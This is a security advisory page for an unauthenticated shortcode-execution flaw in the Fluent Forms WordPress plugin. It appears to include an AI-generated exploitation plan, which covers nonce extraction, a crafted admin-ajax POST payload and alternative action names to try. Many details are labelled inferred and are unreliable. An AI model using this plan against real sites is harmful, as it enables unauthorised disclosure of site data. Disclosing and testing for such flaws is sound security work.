FluentForm <= 6.1.11 - Unauthenticated Arbitrary Shortcode Execution
Description
The The Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 6.1.11. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:NTechnical Details
<=6.1.11Source Code
WordPress.org SVNThis research plan focuses on exploiting **CVE-2025-69001**, an unauthenticated arbitrary shortcode execution vulnerability in Fluent Form. ### 1. Vulnerability Summary The Fluent Form plugin (versions <= 6.1.11) exposes an AJAX endpoint to unauthenticated users that processes a user-supplied strin…
Show full research plan
This research plan focuses on exploiting CVE-2025-69001, an unauthenticated arbitrary shortcode execution vulnerability in Fluent Form.
1. Vulnerability Summary
The Fluent Form plugin (versions <= 6.1.11) exposes an AJAX endpoint to unauthenticated users that processes a user-supplied string through the WordPress do_shortcode() function without sufficient validation or restriction. This allows an attacker to execute any registered shortcode on the site, potentially leading to information disclosure (leaking configuration, user data, or database details) or further exploitation depending on other installed plugins.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
fluentform_render_shortcode(inferred) orfluentform_get_shortcode_rendered(inferred). - Vulnerable Parameter:
shortcodeorcontent. - Authentication: Unauthenticated (
wp_ajax_nopriv_*hook). - Preconditions: A valid WordPress nonce for Fluent Form might be required, though unauthenticated users can obtain one.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler:
add_action('wp_ajax_nopriv_fluentform_render_shortcode', 'handle_shortcode_render'); - Input Handling: The handler retrieves input from
$_POST['shortcode']. - Vulnerable Sink: The code calls
do_shortcode(wp_unslash($_POST['shortcode'])). - Response: The result of the shortcode execution is echoed back to the user.
4. Nonce Acquisition Strategy
Fluent Form typically requires a nonce for its AJAX requests, even for unauthenticated users. This nonce is usually localized into the page source when a form is present.
- Identify Shortcode: Fluent Form uses
[fluentform id="1"]to display forms. - Create Test Page: Create a public page containing any form to force the plugin to enqueue its scripts and nonces.
(Note: Ensure a form with ID 1 exists, or create one first usingwp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[fluentform id="1"]'wp fluentform createif available, or check existing forms viawp db query "SELECT id FROM wp_fluentform_forms LIMIT 1"). - Navigate and Extract:
- Use
browser_navigateto visit the newly created page. - The plugin localizes data into a global JavaScript variable, typically
fluent_forms_global_var. - Use
browser_evalto extract the nonce:window.fluent_forms_global_var?.fluentform_nonce
- Use
5. Exploitation Strategy
Once the nonce is obtained, use the http_request tool to send the malicious AJAX request.
- URL:
https://<target>/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Payload:
Note: Replaceaction=fluentform_render_shortcode&nonce=<EXTRACTED_NONCE>&shortcode=[wp_version][wp_version]with more impactful shortcodes if other plugins are active (e.g.,[contact-form-7-info]or[gravityform_data]).
6. Test Data Setup
- Ensure Fluent Form is active:
wp plugin activate fluentform - Create a Dummy Form:
- Fluent Form requires at least one form to exist for its logic to trigger correctly on the frontend.
- Use WP-CLI to ensure a form exists:
wp db query "INSERT INTO wp_fluentform_forms (title, form_fields, status, appearance_settings) VALUES ('Exploit Test', '[]', 'published', '[]')"
- Create Page: Place the form on a page as described in Section 4.
7. Expected Results
- Success: The HTTP response body will contain the rendered output of the shortcode. For
[wp_version], the response should contain the current WordPress version string. For[site_url], it will contain the site URL. - Failure: The response might be
0,-1, or a403 Forbiddenif the nonce is invalid or the action name is incorrect.
8. Verification Steps
- Check HTTP Response: Verify the body contains the expected string (e.g., "6.7.1" for WordPress version).
- Verify via CLI: Confirm the plugin version is vulnerable:
wp plugin get fluentform --field=version
9. Alternative Approaches
If fluentform_render_shortcode does not exist, investigate other common Fluent Form AJAX actions by searching the plugin directory:
grep -r "wp_ajax_nopriv" /var/www/html/wp-content/plugins/fluentform/
Common alternative action names for dynamic content in Fluent Form:
fluentform_get_shortcode_renderedfluentform_smart_tags_callbackfluentform_render_form_preview(if registered asnopriv)
If the target is fluentform_smart_tags_callback, the payload would look like:action=fluentform_smart_tags_callback&nonce=<NONCE>&content={source.shortcode.[wp_version]} (Fluent Form uses curly braces for its internal smart tags which often map to shortcodes).
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.